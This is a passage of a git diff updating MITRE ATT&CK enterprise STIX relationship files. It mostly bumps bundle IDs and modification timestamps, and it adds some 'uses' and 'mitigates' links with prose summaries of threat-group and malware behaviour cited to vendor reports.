             "id": "relationship--fb6a8268-5a73-4ac0-8f61-439f472063d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
diff --git a/enterprise-attack/relationship/relationship--fb6f077c-06a2-46bb-9aef-959ef818d4aa.json b/enterprise-attack/relationship/relationship--fb6f077c-06a2-46bb-9aef-959ef818d4aa.json
index 2743b72654..3fad9cca85 100644
--- a/enterprise-attack/relationship/relationship--fb6f077c-06a2-46bb-9aef-959ef818d4aa.json
+++ b/enterprise-attack/relationship/relationship--fb6f077c-06a2-46bb-9aef-959ef818d4aa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1a5db55f-cbca-4478-9f68-3392ac7f97a5",
+    "id": "bundle--36d1df6c-7aaf-4289-b810-4fea3684e706",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb6f077c-06a2-46bb-9aef-959ef818d4aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.051Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Following exploitation with LOWBALL malware, admin@338 actors created a file containing a list of commands to be executed on the compromised computer.",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
diff --git a/enterprise-attack/relationship/relationship--fb6ffb5c-5405-4515-a120-7a34414933ea.json b/enterprise-attack/relationship/relationship--fb6ffb5c-5405-4515-a120-7a34414933ea.json
index 0eda992be2..ecf663158e 100644
--- a/enterprise-attack/relationship/relationship--fb6ffb5c-5405-4515-a120-7a34414933ea.json
+++ b/enterprise-attack/relationship/relationship--fb6ffb5c-5405-4515-a120-7a34414933ea.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4dd6c5a0-5fdc-493c-9297-6b6b2809e14e",
+    "id": "bundle--f26607ef-2a5d-4dc1-9ebd-26dd769262ee",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb6ffb5c-5405-4515-a120-7a34414933ea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OilRig has tested malware samples to determine AV detection and subsequently modified the samples to ensure AV evasion.",
             "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
diff --git a/enterprise-attack/relationship/relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962.json b/enterprise-attack/relationship/relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962.json
index faff464819..ebeaea55b8 100644
--- a/enterprise-attack/relationship/relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962.json
+++ b/enterprise-attack/relationship/relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--db4c545f-4259-475c-ace0-f187245c2a45",
+    "id": "bundle--68441346-3e6f-4898-aa3e-da150da4b1da",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "cmd can be used to copy files to a remotely connected system.",
             "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
diff --git a/enterprise-attack/relationship/relationship--fb9cf04b-ad28-472a-9ee3-a2e744e0e122.json b/enterprise-attack/relationship/relationship--fb9cf04b-ad28-472a-9ee3-a2e744e0e122.json
index d548eaaf45..f0e193926b 100644
--- a/enterprise-attack/relationship/relationship--fb9cf04b-ad28-472a-9ee3-a2e744e0e122.json
+++ b/enterprise-attack/relationship/relationship--fb9cf04b-ad28-472a-9ee3-a2e744e0e122.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1f41886f-dda2-404f-bd3d-6df94702d1b2",
+    "id": "bundle--c7181f24-8818-4063-a53c-9f007cb0cd00",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb9cf04b-ad28-472a-9ee3-a2e744e0e122",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
diff --git a/enterprise-attack/relationship/relationship--fbae4191-679a-45b2-8ebb-8adb5348f4d0.json b/enterprise-attack/relationship/relationship--fbae4191-679a-45b2-8ebb-8adb5348f4d0.json
index 6b953e9761..da0d4fb1db 100644
--- a/enterprise-attack/relationship/relationship--fbae4191-679a-45b2-8ebb-8adb5348f4d0.json
+++ b/enterprise-attack/relationship/relationship--fbae4191-679a-45b2-8ebb-8adb5348f4d0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c1ece62b-215f-4143-a835-cead6dd3176e",
+    "id": "bundle--e66cbc90-d966-47a8-8b39-9c19469c3fc4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fbae4191-679a-45b2-8ebb-8adb5348f4d0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke contains a custom version of the RC4 algorithm that includes a programming error.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--fbfc610a-5355-40fc-b5a1-059e89a1eb8d.json b/enterprise-attack/relationship/relationship--fbfc610a-5355-40fc-b5a1-059e89a1eb8d.json
index 944157ec9a..859a8608ba 100644
--- a/enterprise-attack/relationship/relationship--fbfc610a-5355-40fc-b5a1-059e89a1eb8d.json
+++ b/enterprise-attack/relationship/relationship--fbfc610a-5355-40fc-b5a1-059e89a1eb8d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--06ebddae-02e8-4155-9f40-6c62f22fc08b",
+    "id": "bundle--fcf1d885-8d56-42b0-aa3e-992d864fdd0c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fbfc610a-5355-40fc-b5a1-059e89a1eb8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM sends information to its hard-coded C2, including OS version, service pack information, processor speed, system name, and OS install date.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
diff --git a/enterprise-attack/relationship/relationship--fc1ec654-af35-4a7d-b2f6-54b4d8378cfb.json b/enterprise-attack/relationship/relationship--fc1ec654-af35-4a7d-b2f6-54b4d8378cfb.json
new file mode 100644
index 0000000000..8a001a7eaf
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--fc1ec654-af35-4a7d-b2f6-54b4d8378cfb.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3625e467-96bd-4bfd-b7e2-2950232f937f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--fc1ec654-af35-4a7d-b2f6-54b4d8378cfb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 can download remote files onto victims.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--fc2ffb01-2c4e-429d-b4fd-e0d20678504a.json b/enterprise-attack/relationship/relationship--fc2ffb01-2c4e-429d-b4fd-e0d20678504a.json
index e7094f661c..9910c41327 100644
--- a/enterprise-attack/relationship/relationship--fc2ffb01-2c4e-429d-b4fd-e0d20678504a.json
+++ b/enterprise-attack/relationship/relationship--fc2ffb01-2c4e-429d-b4fd-e0d20678504a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d588b832-194e-4f28-9848-eca40750e67e",
+    "id": "bundle--606bdbfc-fb9e-4dc5-b538-9d980c3a070d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fc2ffb01-2c4e-429d-b4fd-e0d20678504a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The APT1 group is known to have used RDP during operations.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
diff --git a/enterprise-attack/relationship/relationship--fc4811c4-103b-48b7-9e52-20d574cfc4bf.json b/enterprise-attack/relationship/relationship--fc4811c4-103b-48b7-9e52-20d574cfc4bf.json
index 18dae58407..f43b21abc9 100644
--- a/enterprise-attack/relationship/relationship--fc4811c4-103b-48b7-9e52-20d574cfc4bf.json
+++ b/enterprise-attack/relationship/relationship--fc4811c4-103b-48b7-9e52-20d574cfc4bf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3748ba21-15ad-4d9f-b64b-854f3f7c3e45",
+    "id": "bundle--f5f60df8-0487-490a-a367-95c630744763",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fc4811c4-103b-48b7-9e52-20d574cfc4bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the execFile function to execute a specified file on the system using the NSTask:launch method.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--fc4dd2b6-63a0-46fe-bfc4-90e58e5d1422.json b/enterprise-attack/relationship/relationship--fc4dd2b6-63a0-46fe-bfc4-90e58e5d1422.json
new file mode 100644
index 0000000000..e1bfb7f2a8
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--fc4dd2b6-63a0-46fe-bfc4-90e58e5d1422.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--0cd19d59-5cd4-426b-ad79-255c20e250c2",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--fc4dd2b6-63a0-46fe-bfc4-90e58e5d1422",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has collected a list of files from the victim and uploaded it to its C2 server, and then created a new list of specific files to steal.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--fc67e15c-ae09-45e1-925f-8a6b0e8ca4ab.json b/enterprise-attack/relationship/relationship--fc67e15c-ae09-45e1-925f-8a6b0e8ca4ab.json
index aca1888e89..49ea1a1163 100644
--- a/enterprise-attack/relationship/relationship--fc67e15c-ae09-45e1-925f-8a6b0e8ca4ab.json
+++ b/enterprise-attack/relationship/relationship--fc67e15c-ae09-45e1-925f-8a6b0e8ca4ab.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3c494760-1baa-4270-9751-d668eadf752a",
+    "id": "bundle--5523d03e-baae-40d2-a037-b7acef2b2a2a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fc67e15c-ae09-45e1-925f-8a6b0e8ca4ab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Janicab captured screenshots and sent them out to a C2 server .",
             "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
diff --git a/enterprise-attack/relationship/relationship--fc79f30d-94c8-400e-ab10-21d2a2527788.json b/enterprise-attack/relationship/relationship--fc79f30d-94c8-400e-ab10-21d2a2527788.json
new file mode 100644
index 0000000000..da523e6a54
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--fc79f30d-94c8-400e-ab10-21d2a2527788.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--d8082023-d2ff-4df9-ae66-db35781a0612",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--fc79f30d-94c8-400e-ab10-21d2a2527788",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--fca5a601-68fd-4b20-ad1e-0592cadecb73.json b/enterprise-attack/relationship/relationship--fca5a601-68fd-4b20-ad1e-0592cadecb73.json
index b5ba1d2794..1b4c0f2892 100644
--- a/enterprise-attack/relationship/relationship--fca5a601-68fd-4b20-ad1e-0592cadecb73.json
+++ b/enterprise-attack/relationship/relationship--fca5a601-68fd-4b20-ad1e-0592cadecb73.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--965ec324-75b2-44d8-aa2c-773c297055b9",
+    "id": "bundle--fb4270cd-1d7f-45c0-8901-a3f0caa6676f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fca5a601-68fd-4b20-ad1e-0592cadecb73",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "target_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
diff --git a/enterprise-attack/relationship/relationship--fcc12c1f-1a46-49f4-a872-99cb97968bf0.json b/enterprise-attack/relationship/relationship--fcc12c1f-1a46-49f4-a872-99cb97968bf0.json
index 88735d4e7c..9082efc25b 100644
--- a/enterprise-attack/relationship/relationship--fcc12c1f-1a46-49f4-a872-99cb97968bf0.json
+++ b/enterprise-attack/relationship/relationship--fcc12c1f-1a46-49f4-a872-99cb97968bf0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--53972306-4510-4282-adeb-0ac1be1623f1",
+    "id": "bundle--3a78da03-e3f1-4a63-9097-207fabdeeb42",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fcc12c1f-1a46-49f4-a872-99cb97968bf0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Agent.btz attempts to download an encrypted binary from a specified domain.",
             "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
diff --git a/enterprise-attack/relationship/relationship--fce2d07b-7bc7-497a-b21a-75a23fbccf50.json b/enterprise-attack/relationship/relationship--fce2d07b-7bc7-497a-b21a-75a23fbccf50.json
index ff93146868..94ac42c442 100644
--- a/enterprise-attack/relationship/relationship--fce2d07b-7bc7-497a-b21a-75a23fbccf50.json
+++ b/enterprise-attack/relationship/relationship--fce2d07b-7bc7-497a-b21a-75a23fbccf50.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d47835e5-7913-4cee-8c4f-689a8a12f4f2",
+    "id": "bundle--89411efc-95bd-4c71-9142-67fad4e672ed",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fce2d07b-7bc7-497a-b21a-75a23fbccf50",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information from the victim about the current user name.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--fce7fac2-91da-4903-95dc-fb54650c0859.json b/enterprise-attack/relationship/relationship--fce7fac2-91da-4903-95dc-fb54650c0859.json
index f14d150035..5688120c28 100644
--- a/enterprise-attack/relationship/relationship--fce7fac2-91da-4903-95dc-fb54650c0859.json
+++ b/enterprise-attack/relationship/relationship--fce7fac2-91da-4903-95dc-fb54650c0859.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c9dfbb35-94c5-46e8-81c5-5d0438fc3ffc",
+    "id": "bundle--3a8e1689-dc78-4fd5-b5d7-a30f1ed2641b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fce7fac2-91da-4903-95dc-fb54650c0859",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PHOREAL communicates via ICMP for C2.",
             "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
diff --git a/enterprise-attack/relationship/relationship--fcf18dc5-8ac0-4ae7-84b9-c47ebd468022.json b/enterprise-attack/relationship/relationship--fcf18dc5-8ac0-4ae7-84b9-c47ebd468022.json
new file mode 100644
index 0000000000..e5adef16f9
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--fcf18dc5-8ac0-4ae7-84b9-c47ebd468022.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--3cd47803-4f7d-480c-b62a-b3ef91bffab6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--fcf18dc5-8ac0-4ae7-84b9-c47ebd468022",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31",
+            "target_ref": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--fcfb3ce0-01a0-4f92-8e18-b323202d095d.json b/enterprise-attack/relationship/relationship--fcfb3ce0-01a0-4f92-8e18-b323202d095d.json
index a695f0e9e5..c08a09a920 100644
--- a/enterprise-attack/relationship/relationship--fcfb3ce0-01a0-4f92-8e18-b323202d095d.json
+++ b/enterprise-attack/relationship/relationship--fcfb3ce0-01a0-4f92-8e18-b323202d095d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d1b41637-b336-4213-abab-790efbdb67d8",
+    "id": "bundle--e4a9e1f7-f716-475a-8c6b-85a770c6379c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fcfb3ce0-01a0-4f92-8e18-b323202d095d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An APT3 downloader uses the Windows command <code>\"cmd.exe\" /C whoami</code> to verify that it is running with the elevated privileges of \u201cSystem.\u201d",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
diff --git a/enterprise-attack/relationship/relationship--fcfe071b-e527-44e9-9970-9243a354f563.json b/enterprise-attack/relationship/relationship--fcfe071b-e527-44e9-9970-9243a354f563.json
index bdc78c0193..84a750cbbf 100644
--- a/enterprise-attack/relationship/relationship--fcfe071b-e527-44e9-9970-9243a354f563.json
+++ b/enterprise-attack/relationship/relationship--fcfe071b-e527-44e9-9970-9243a354f563.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63d1286f-d40f-477b-a387-083a4e1abcb8",
+    "id": "bundle--e59bc1c5-47e2-4659-8d32-957f8fa96b8c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fcfe071b-e527-44e9-9970-9243a354f563",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Regin appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
diff --git a/enterprise-attack/relationship/relationship--fd518b7a-b35d-4689-89f6-525efbeee18f.json b/enterprise-attack/relationship/relationship--fd518b7a-b35d-4689-89f6-525efbeee18f.json
new file mode 100644
index 0000000000..2329d2504b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--fd518b7a-b35d-4689-89f6-525efbeee18f.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--5c1bb61d-bdd3-495f-9593-7e30e5d5d7a4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--fd518b7a-b35d-4689-89f6-525efbeee18f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--fda1acb3-8e87-4fff-ae19-7e6a2ff9d6c3.json b/enterprise-attack/relationship/relationship--fda1acb3-8e87-4fff-ae19-7e6a2ff9d6c3.json
new file mode 100644
index 0000000000..5144f4c4e7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--fda1acb3-8e87-4fff-ae19-7e6a2ff9d6c3.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--07083909-f91d-4f7e-acaf-957ee88b8080",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--fda1acb3-8e87-4fff-ae19-7e6a2ff9d6c3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--fdc4c379-e6e6-4454-933d-2a9a4a78cf98.json b/enterprise-attack/relationship/relationship--fdc4c379-e6e6-4454-933d-2a9a4a78cf98.json
index eda246cd5f..a0334a88ee 100644
--- a/enterprise-attack/relationship/relationship--fdc4c379-e6e6-4454-933d-2a9a4a78cf98.json
+++ b/enterprise-attack/relationship/relationship--fdc4c379-e6e6-4454-933d-2a9a4a78cf98.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1f2355b5-ce00-41b1-b778-7330e21f09c2",
+    "id": "bundle--a5341623-8138-435d-bec3-13aabf656ced",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fdc4c379-e6e6-4454-933d-2a9a4a78cf98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot supports execution from the command-line.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
diff --git a/enterprise-attack/relationship/relationship--fdcda836-4a21-45d2-8269-31b82aa3c08e.json b/enterprise-attack/relationship/relationship--fdcda836-4a21-45d2-8269-31b82aa3c08e.json
index f1f69d3c13..448c529394 100644
--- a/enterprise-attack/relationship/relationship--fdcda836-4a21-45d2-8269-31b82aa3c08e.json
+++ b/enterprise-attack/relationship/relationship--fdcda836-4a21-45d2-8269-31b82aa3c08e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4adcf96a-385f-42b4-8f2b-ccb15d5bf041",
+    "id": "bundle--b02ab573-99b2-4cd4-b1d9-299bf7e5cabd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fdcda836-4a21-45d2-8269-31b82aa3c08e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 has bypassed UAC.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
diff --git a/enterprise-attack/relationship/relationship--fdf9f632-03ce-4e8c-88bf-3798bb7f5ef4.json b/enterprise-attack/relationship/relationship--fdf9f632-03ce-4e8c-88bf-3798bb7f5ef4.json
new file mode 100644
index 0000000000..e537578b7b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--fdf9f632-03ce-4e8c-88bf-3798bb7f5ef4.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e4f71070-5112-45fa-b96d-acf582117cc8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--fdf9f632-03ce-4e8c-88bf-3798bb7f5ef4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
